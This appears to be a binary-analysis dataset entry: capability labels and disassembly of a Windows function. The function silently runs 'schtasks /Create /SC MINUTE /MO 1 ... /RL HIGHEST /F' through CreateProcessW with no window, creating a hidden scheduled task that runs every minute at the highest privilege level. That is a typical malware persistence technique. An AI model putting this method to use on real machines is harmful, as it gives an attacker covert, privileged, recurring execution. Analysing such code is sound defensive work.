Function at 0x401530
Capabilities:
Create process on windows
Schedule task via schtasks

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x403b1e
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0xc8
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov esi, ecx
push str.schtasks__Create__SC_MINUTE__MO_1__TN__
lea ecx, [ebp - 0x2c]
call fcn.00402860
push esi
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], 0
call fcn.00402990
push edi
lea ecx, [ebp - 0xd4]
call fcn.00402860
mov ecx, eax
mov dword [ebp - 0x8c], ecx
mov byte [ebp - 4], 1
mov esi, dword [ecx + 0x14]
mov eax, esi
mov edx, dword [ecx + 0x10]
sub eax, edx
cmp eax, 7
jb 0x40163e
lea eax, [edx + 7]
mov edi, ecx
mov dword [ecx + 0x10], eax
cmp esi, 7
jbe 0x4015cc
mov edi, dword [ecx]
cmp edi, 0x404a3a
jae 0x4015f6
lea eax, [edi + edx*2]
cmp eax, str.___TR__
jb 0x4015f6
cmp edi, str.___TR__
ja 0x4015ea
xor esi, esi
jmp 0x4015fb
mov esi, edi
sub esi, str.___TR__
sar esi, 1
jmp 0x4015fb
mov esi, 7
lea eax, [edx*2 + 2]
push eax
lea ecx, [edi + 0xe]
push edi
push ecx
call sub.VCRUNTIME140.dll_memmove
add esi, esi
push esi
push str.___TR__
push edi
call sub.VCRUNTIME140.dll_memcpy
mov eax, 0xe
lea ecx, [esi + edi]
sub eax, esi
push eax
lea eax, [esi + 0x404a3a]
push eax
push ecx
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp - 0x8c]
add esp, 0x24
jmp 0x401657
push 7
sub esp, 8
mov byte [ebp - 0x8c], 0
push dword [ebp - 0x8c]
push 7
call fcn.00402be0
mov dword [ebp - 0x94], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xa4], xmm0
mov dword [ebp - 0x90], 0
xor ecx, ecx
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xa4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x94], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push str.___RL_HIGHEST__F
lea ecx, [ebp - 0xa4]
mov byte [ebp - 4], 2
call fcn.00402990
xor ecx, ecx
movups xmm1, xmmword [eax]
movq xmm0, qword [eax + 0x10]
movups xmmword [ebp - 0xbc], xmm1
mov dword [eax + 0x10], 0
movq qword [ebp - 0xac], xmm0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 3
lea edx, [ebp - 0xbc]
cmp dword [ebp - 0xa8], 7
mov esi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xac]
movd edi, xmm1
mov dword [ebp - 0x8c], esi
cmova edx, edi
sub eax, esi
cmp ecx, eax
ja 0x401749
cmp dword [ebp - 0x18], 7
lea eax, [esi + ecx]
mov dword [ebp - 0x1c], eax
lea esi, [ebp - 0x2c]
cmova esi, dword [ebp - 0x2c]
lea eax, [ecx + ecx]
push eax
mov eax, dword [ebp - 0x8c]
push edx
lea eax, [esi + eax*2]
push eax
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0xac]
add esp, 0xc
add eax, dword [ebp - 0x8c]
xor ecx, ecx
mov word [esi + eax*2], cx
jmp 0x401767
push ecx
push edx
mov byte [ebp - 0x8c], 0
push dword [ebp - 0x8c]
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00402a50
mov edi, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xa8]
cmp eax, 7
jbe 0x4017a1
lea ecx, [eax*2 + 2]
mov eax, edi
cmp ecx, 0x1000
jb 0x401797
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40182c
push ecx
push edi
call fcn.00402d87
add esp, 8
mov ecx, dword [ebp - 0x90]
cmp ecx, 7
jbe 0x4017dd
mov edx, dword [ebp - 0xa4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4017d3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40182c
push ecx
push edx
call fcn.00402d87
add esp, 8
mov ecx, dword [ebp - 0xc0]
xor eax, eax
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x90], 7
mov word [ebp - 0xa4], ax
cmp ecx, 7
jbe 0x40183c
mov edx, dword [ebp - 0xd4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401832
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401832
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00402d87
add esp, 8
push 0x40
lea eax, [ebp - 0x74]
mov dword [ebp - 0x78], 0x44
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x88]
cmp dword [ebp - 0x18], 7
lea eax, [ebp - 0x2c]
cmova eax, dword [ebp - 0x2c]
push ecx
lea ecx, [ebp - 0x78]
push ecx
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4018a9
push 0xffffffffffffffff
push dword [ebp - 0x88]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x88]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x84]
call esi
mov ecx, dword [ebp - 0x18]
cmp ecx, 7
jbe 0x4018e5
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4018db
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4018db
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00402d87
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00402d49
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret